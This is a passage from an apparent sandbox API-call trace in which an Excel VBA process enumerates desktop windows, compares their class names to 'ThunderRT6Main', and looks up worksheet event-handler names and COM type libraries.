GetClassNameA (in: hWnd=0x1015e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Watch_Equation_app") returned 18 [0121.805] lstrcmpA (lpString1="Watch_Equation_app", lpString2="ThunderRT6Main") returned 1 [0121.805] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0121.805] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160 [0121.805] GetClassNameA (in: hWnd=0x10160, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0121.805] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0121.805] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0121.805] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a [0121.805] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ie_wnd") returned 6 [0121.805] lstrcmpA (lpString1="ie_wnd", lpString2="ThunderRT6Main") returned -1 [0121.805] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0121.805] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c [0121.805] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0121.805] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0121.805] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0121.805] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x9009e [0121.805] GetClassNameA (in: hWnd=0x9009e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Outsourcing_win") returned 15 [0121.805] lstrcmpA (lpString1="Outsourcing_win", lpString2="ThunderRT6Main") returned -1 [0121.805] GetWindowThreadProcessId (in: hWnd=0x9009e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0121.805] GetWindow (hWnd=0x9009e, uCmd=0x2) returned 0x20156 [0121.805] GetClassNameA (in: hWnd=0x20156, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0121.805] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0121.805] GetWindowThreadProcessId (in: hWnd=0x20156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0121.805] GetWindow (hWnd=0x20156, uCmd=0x2) returned 0x50128 [0121.805] GetClassNameA (in: hWnd=0x50128, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Malta_Much_River_Citizenship_") returned 29 [0121.805] lstrcmpA (lpString1="Malta_Much_River_Citizenship_", lpString2="ThunderRT6Main") returned -1 [0121.805] GetWindowThreadProcessId (in: hWnd=0x50128, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0121.805] GetWindow (hWnd=0x50128, uCmd=0x2) returned 0x6011e [0121.805] GetClassNameA (in: hWnd=0x6011e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0121.805] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0121.805] GetWindowThreadProcessId (in: hWnd=0x6011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0121.806] GetWindow (hWnd=0x6011e, uCmd=0x2) returned 0x20020 [0121.806] GetClassNameA (in: hWnd=0x20020, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0121.806] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0121.806] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0121.806] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0121.806] GetClassNameA (in: hWnd=0x20024, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0121.806] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0121.806] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0121.806] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x20022 [0121.806] GetClassNameA (in: hWnd=0x20022, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0121.806] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0121.806] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0121.806] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x2001e [0121.806] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0121.806] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0121.806] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0121.806] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20158 [0121.806] GetClassNameA (in: hWnd=0x20158, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0121.806] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0121.806] GetWindowThreadProcessId (in: hWnd=0x20158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0121.806] GetWindow (hWnd=0x20158, uCmd=0x2) returned 0x1014c [0121.806] GetClassNameA (in: hWnd=0x1014c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0121.806] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0121.806] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0121.806] GetWindow (hWnd=0x1014c, uCmd=0x2) returned 0x1014a [0121.806] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0121.806] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0121.806] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0121.806] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x20140 [0121.806] GetClassNameA (in: hWnd=0x20140, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0121.806] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0121.806] GetWindowThreadProcessId (in: hWnd=0x20140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0121.806] GetWindow (hWnd=0x20140, uCmd=0x2) returned 0x10134 [0121.806] GetClassNameA (in: hWnd=0x10134, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0121.806] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0121.806] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0121.806] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10136 [0121.806] GetClassNameA (in: hWnd=0x10136, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0121.806] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0121.806] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0121.807] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x1012c [0121.807] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ATL:000007FEFBBC41F0") returned 20 [0121.807] lstrcmpA (lpString1="ATL:000007FEFBBC41F0", lpString2="ThunderRT6Main") returned -1 [0121.807] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0121.807] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x1012e [0121.807] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0121.807] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0121.807] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0121.807] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x2006a [0121.807] GetClassNameA (in: hWnd=0x2006a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0121.807] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0121.807] GetWindowThreadProcessId (in: hWnd=0x2006a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0121.807] GetWindow (hWnd=0x2006a, uCmd=0x2) returned 0x20068 [0121.807] GetClassNameA (in: hWnd=0x20068, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0121.807] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0121.807] GetWindowThreadProcessId (in: hWnd=0x20068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0121.807] GetWindow (hWnd=0x20068, uCmd=0x2) returned 0x20066 [0121.807] GetClassNameA (in: hWnd=0x20066, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0121.807] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0121.807] GetWindowThreadProcessId (in: hWnd=0x20066, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0121.807] GetWindow (hWnd=0x20066, uCmd=0x2) returned 0x10124 [0121.807] GetClassNameA (in: hWnd=0x10124, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0121.807] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0121.807] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7bc [0121.807] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10122 [0121.807] GetClassNameA (in: hWnd=0x10122, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0121.807] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0121.807] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0121.807] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011c [0121.807] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0121.807] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0121.807] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0121.807] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x10118 [0121.807] GetClassNameA (in: hWnd=0x10118, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0121.807] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0121.807] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0121.807] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x100fe [0121.807] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0121.807] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0121.807] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0121.808] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x100fa [0121.808] GetClassNameA (in: hWnd=0x100fa, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0121.808] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0121.808] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0121.808] GetWindow (hWnd=0x100fa, uCmd=0x2) returned 0x100ec [0121.808] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0121.808] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0121.808] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0121.808] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x100e2 [0121.808] GetClassNameA (in: hWnd=0x100e2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0121.808] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0121.808] GetWindowThreadProcessId (in: hWnd=0x100e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0121.808] GetWindow (hWnd=0x100e2, uCmd=0x2) returned 0x100dc [0121.808] GetClassNameA (in: hWnd=0x100dc, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0121.808] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0121.808] GetWindowThreadProcessId (in: hWnd=0x100dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0121.808] GetWindow (hWnd=0x100dc, uCmd=0x2) returned 0x200d6 [0121.808] GetClassNameA (in: hWnd=0x200d6, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0121.808] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0121.808] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0121.808] GetWindow (hWnd=0x200d6, uCmd=0x2) returned 0x100be [0121.808] GetClassNameA (in: hWnd=0x100be, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0121.808] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0121.808] GetWindowThreadProcessId (in: hWnd=0x100be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0121.808] GetWindow (hWnd=0x100be, uCmd=0x2) returned 0x500b4 [0121.808] GetClassNameA (in: hWnd=0x500b4, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0121.808] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0121.808] GetWindowThreadProcessId (in: hWnd=0x500b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0121.808] GetWindow (hWnd=0x500b4, uCmd=0x2) returned 0x100aa [0121.808] GetClassNameA (in: hWnd=0x100aa, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0121.808] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0121.808] GetWindowThreadProcessId (in: hWnd=0x100aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x758 [0121.808] GetWindow (hWnd=0x100aa, uCmd=0x2) returned 0x100a6 [0121.808] GetClassNameA (in: hWnd=0x100a6, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0121.808] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0121.808] GetWindowThreadProcessId (in: hWnd=0x100a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0121.808] GetWindow (hWnd=0x100a6, uCmd=0x2) returned 0x1009a [0121.808] GetClassNameA (in: hWnd=0x1009a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0121.808] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0121.809] GetWindowThreadProcessId (in: hWnd=0x1009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0121.809] GetWindow (hWnd=0x1009a, uCmd=0x2) returned 0x10086 [0121.809] GetClassNameA (in: hWnd=0x10086, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0121.809] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0121.809] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0121.809] GetWindow (hWnd=0x10086, uCmd=0x2) returned 0x10082 [0121.809] GetClassNameA (in: hWnd=0x10082, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0121.809] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0121.809] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0121.809] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x10060 [0121.809] GetClassNameA (in: hWnd=0x10060, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="#43") returned 3 [0121.809] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0121.809] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0121.809] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x10062 [0121.809] GetClassNameA (in: hWnd=0x10062, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0121.809] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0121.809] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0121.809] GetWindow (hWnd=0x10062, uCmd=0x2) returned 0x10050 [0121.809] GetClassNameA (in: hWnd=0x10050, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0121.809] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0121.809] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0121.809] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x10058 [0121.809] GetClassNameA (in: hWnd=0x10058, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0121.809] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0121.809] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0121.809] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10054 [0121.809] GetClassNameA (in: hWnd=0x10054, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0121.809] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0121.813] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0121.813] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004a [0121.813] GetClassNameA (in: hWnd=0x1004a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0121.813] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0121.813] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0121.813] GetWindow (hWnd=0x1004a, uCmd=0x2) returned 0x20046 [0121.813] GetClassNameA (in: hWnd=0x20046, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0121.813] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0121.813] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0121.813] GetWindow (hWnd=0x20046, uCmd=0x2) returned 0x10048 [0121.813] GetClassNameA (in: hWnd=0x10048, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0121.814] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0121.814] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0121.814] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x30040 [0121.814] GetClassNameA (in: hWnd=0x30040, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0121.814] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0121.814] GetWindowThreadProcessId (in: hWnd=0x30040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0121.814] GetWindow (hWnd=0x30040, uCmd=0x2) returned 0x10044 [0121.814] GetClassNameA (in: hWnd=0x10044, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0121.814] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0121.814] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x658 [0121.814] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x10042 [0121.814] GetClassNameA (in: hWnd=0x10042, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0121.814] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0121.814] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0121.814] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x1005e [0121.814] GetClassNameA (in: hWnd=0x1005e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0121.814] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0121.814] GetWindowThreadProcessId (in: hWnd=0x1005e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0121.814] GetWindow (hWnd=0x1005e, uCmd=0x2) returned 0x1005c [0121.814] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0121.814] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0121.814] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0121.814] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x20074 [0121.814] GetClassNameA (in: hWnd=0x20074, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0121.814] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0121.814] GetWindowThreadProcessId (in: hWnd=0x20074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0121.814] GetWindow (hWnd=0x20074, uCmd=0x2) returned 0x0 [0121.814] IMalloc:Alloc (This=0x7fefe465380, cb=0x18) returned 0x5966cf0 [0121.814] IMalloc:Free (This=0x7fefe465380, pv=0x5966cf0) [0121.938] _mbscpy_s (in: _Dst=0x20ebc0, _DstSizeInBytes=0x11, _Src=0x5d10546 | out: _Dst=0x20ebc0) returned 0x0 [0121.938] _mbscpy_s (in: _Dst=0x20ebca, _DstSizeInBytes=0x7, _Src=0x20ed70 | out: _Dst=0x20ebca) returned 0x0 [0121.938] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Change") returned 0x10539f [0121.939] _mbscpy_s (in: _Dst=0x20ebc0, _DstSizeInBytes=0x1a, _Src=0x5d10546 | out: _Dst=0x20ebc0) returned 0x0 [0121.939] _mbscpy_s (in: _Dst=0x20ebca, _DstSizeInBytes=0x10, _Src=0x20ed70 | out: _Dst=0x20ebca) returned 0x0 [0121.939] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0128.008] _mbscpy_s (in: _Dst=0x20ebc0, _DstSizeInBytes=0x1a, _Src=0x5d10546 | out: _Dst=0x20ebc0) returned 0x0 [0128.008] _mbscpy_s (in: _Dst=0x20ebca, _DstSizeInBytes=0x10, _Src=0x20ed70 | out: _Dst=0x20ebca) returned 0x0 [0128.008] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0130.885] _mbscpy_s (in: _Dst=0x20ebc0, _DstSizeInBytes=0x1a, _Src=0x5d10546 | out: _Dst=0x20ebc0) returned 0x0 [0130.885] _mbscpy_s (in: _Dst=0x20ebca, _DstSizeInBytes=0x10, _Src=0x20ed70 | out: _Dst=0x20ebca) returned 0x0 [0130.885] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0140.982] _mbscpy_s (in: _Dst=0x20ebc0, _DstSizeInBytes=0x1a, _Src=0x5d10546 | out: _Dst=0x20ebc0) returned 0x0 [0140.982] _mbscpy_s (in: _Dst=0x20ebca, _DstSizeInBytes=0x10, _Src=0x20ed70 | out: _Dst=0x20ebca) returned 0x0 [0140.982] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0140.983] _mbscpy_s (in: _Dst=0x20df00, _DstSizeInBytes=0x1c, _Src=0x5d10546 | out: _Dst=0x20df00) returned 0x0 [0140.983] _mbscpy_s (in: _Dst=0x20df0a, _DstSizeInBytes=0x12, _Src=0x20e0b0 | out: _Dst=0x20df0a) returned 0x0 [0140.983] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0140.985] strncpy_s (in: _Dst=0x5963cf0, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0140.985] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0140.985] bsearch (_Key=0x1e7f38, _Base=0x66e0fd0, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5cace28) returned 0x0 [0140.985] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0140.985] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0140.985] ITypeLib:GetTypeComp (in: This=0x679bb80, ppTComp=0x1e7fa0 | out: ppTComp=0x1e7fa0*=0x679bb90) returned 0x0 [0140.985] IUnknown:AddRef (This=0x679bb90) returned 0x16 [0140.985] IUnknown:Release (This=0x679bb90) returned 0x15 [0140.985] ITypeLib:GetTypeComp (in: This=0x5a48620, ppTComp=0x1e7fa0 | out: ppTComp=0x1e7fa0*=0x5a48630) returned 0x0 [0140.986] IUnknown:AddRef (This=0x5a48630) returned 0x13 [0140.986] IUnknown:Release (This=0x5a48630) returned 0x12 [0140.986] ITypeLib:GetTypeComp (in: This=0x679c120, ppTComp=0x1e7fa0 | out: ppTComp=0x1e7fa0*=0x679c130) returned 0x0 [0140.986] IUnknown:AddRef (This=0x679c130) returned 0x9 [0140.986] IUnknown:Release (This=0x679c130) returned 0x8 [0140.986] ITypeLib:GetTypeComp (in: This=0x679c6c0, ppTComp=0x1e7fa0 | out: ppTComp=0x1e7fa0*=0x679c6d0) returned 0x0 [0140.986] IUnknown:AddRef (This=0x679c6d0) returned 0x7 [0140.986] IUnknown:Release (This=0x679c6d0) returned 0x6 [0140.987] GetCurrentThreadId () returned 0xa30 [0140.987] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0140.987] GetDesktopWindow () returned 0x10010 [0140.987] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x100b2 [0140.987] GetClassNameA (in: hWnd=0x100b2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0140.987] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0140.987] GetWindowThreadProcessId (in: hWnd=0x100b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0140.987] GetWindow (hWnd=0x100b2, uCmd=0x2) returned 0x100b0 [0140.987] GetClassNameA (in: hWnd=0x100b0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.987] lstrcmpA (lpString1="tooltips_class32", 